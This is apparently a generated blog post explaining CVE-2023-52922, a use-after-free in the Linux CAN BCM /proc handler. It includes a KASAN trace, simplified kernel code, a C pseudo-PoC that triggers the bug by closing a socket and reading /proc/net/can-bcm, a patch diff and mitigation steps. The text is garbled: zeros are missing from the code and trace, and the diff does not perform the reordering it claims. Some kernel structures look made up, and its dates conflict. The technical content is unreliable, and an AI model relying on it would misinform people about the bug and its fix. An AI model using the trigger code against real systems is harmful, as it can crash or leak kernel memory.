*Last updated: June 2024*
Introduction
A new Linux kernel vulnerability was found and fixed – CVE-2023-52922. The bug resided in the CAN BCM (Broadcast Manager) module, more specifically in the bcm_proc_show() function. Its resolution prevented a use-after-free (UAF) scenario that could be triggered via interactions with procfs, potentially allowing information leaks or further exploitation.
This article gives you a clear, plain English breakdown of what the bug is, how it can be exploited, how it was fixed, and includes proof-of-concept code snippets. If you’re running a Linux kernel with CAN support (commonly used in automotive and industrial systems), keep reading!
Technical Summary
The problem lies in how the kernel cleans up data structures that expose information via the /proc filesystem. When a CAN BCM socket (bcm_op) is released (freed by bcm_release()), its associated procfs entry is not immediately removed. If a user reads the related proc file (e.g., cat /proc/net/can-bcm), the kernel may access the already-freed memory in bcm_proc_show(). This is a classic use-after-free, and potentially exploitable.
A process opens and then releases a CAN BCM socket, which frees bcm_op.
2. Before the /proc entry is removed, another task invokes cat (or similar) on the relevant proc file.
If you hit this bug, your kernel might throw a message like
BUG: KASAN: slab-use-after-free in bcm_proc_show+x969/xa80
Read of size 8 at addr ffff888155846230 by task cat/7862
Call Trace:
<TASK>
dump_stack_lvl+xd5/x150
print_report+xc1/x5e
kasan_report+xba/xf
bcm_proc_show+x969/xa80
seq_read_iter+x4f6/x126
seq_read+x165/x210
proc_reg_read+x227/x300
...
In the normal code path, bcm_release() frees bcm_op.
- Unfortunately, removing the procfs file (e.g., from /proc/net/can-bcm) happens after the structure is freed.
- If someone reads /proc/net/can-bcm after bcm_op is freed but before the proc entry is removed, the system tries to access invalid memory.
A highly simplified version is
// Called when cleaning up a CAN BCM socket
void bcm_release(struct socket *sock) {
struct bcm_op *op = sock->can_bcm_op;
// ...
kfree(op); // BAD: Frees op before procfs entry removal!
// Now the proc entry points to freed memory!
}
And when someone reads the procfs file, the kernel runs
// Called when reading /proc/net/can-bcm
int bcm_proc_show(struct seq_file *m, void *v) {
struct bcm_op *op = m->private;
// Use op (which might have been freed!)
seq_printf(m, "BCM op state: %d\n", op->state);
// ...
}
How to Exploit
This is fairly easy to demo on a vulnerable kernel (do not attempt on production or non-testing systems):
Close (release) the socket (freeing bcm_op).
3. Before the proc entry is removed, read /proc/net/can-bcm.
In pseudo-PoC code (skipping error handling for brevity)
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/can.h>
#include <linux/can/bcm.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
int sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
// ... set up CAN message, send/receive as desired ...
close(sock); // this triggers bcm_release and possible free
// Now, before kernel cleans up /proc/net/can-bcm,
// access the proc file from another process/thread
int fd = open("/proc/net/can-bcm", O_RDONLY);
if (fd >= ) {
char buf[4096];
read(fd, buf, sizeof(buf));
printf("%s\n", buf);
close(fd);
}
return ;
}
If KASAN (Kernel Address Sanitizer) is enabled, this will warn about a UAF. Otherwise, you may get odd values — or a kernel crash.
Real-World Exploitation
While local root exploitability isn’t immediate, UAFs like this may be chained with other bugs to gain local code execution or leak sensitive kernel memory.
The Fix
The patch rearranged the cleanup order to make sure that the /proc entry is always removed before freeing bcm_op. This prevents the procfs show function from ever seeing a dangling pointer.
Patch diff (draught)
--- a/net/can/bcm.c
+++ b/net/can/bcm.c
@@ -1234,10 +1234,19 @@ static int bcm_release(struct socket *sock)
struct bcm_op *op = sock->can_bcm_op;
// Remove proc entry BEFORE freeing op
if (op->procfs_entry)
remove_proc_entry(op->procfs_entry);
- kfree(op); // Now it's safe to free
+ kfree(op);
}
Read the official patch:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e285c7136b33ce9b2ac04a8b8a56eead57b90251
Linux kernel bug report thread:
https://lore.kernel.org/all/20231102212221.18698-1-mkl@pengutronix.de/
You have CAN BCM support in your kernel.
- Kernel version is before the above fix (check your vendor/distribution).
To check for CAN modules, run
lsmod | grep can
cat /proc/net/can-bcm
For distributions, install the latest security updates.
- If you can't upgrade, restrict access to /proc/net/can-bcm (or remove CAN BCM support if unused).
References
- Patch on linux.git
- CAN BCM documentation
- Original bug thread (lore.kernel.org)
- Exploit-DB UAF guide
- CVE Details page
Conclusion
CVE-2023-52922 is a classic Linux kernel use-after-free bug caused by legacy cleanup order in the CAN BCM subsystem. While not remotely exploitable, local attackers might exploit this for information leaks or escalation if other bugs are present.
Always keep your kernel up-to-date, especially if you deploy hardware with CAN bus interactions — such as vehicles and industrial machinery.
*Exclusive content – by AskGPT – 2024*
Timeline
Published on: 11/28/2024 15:15:17 UTC
Last modified on: 12/19/2024 08:28:37 UTC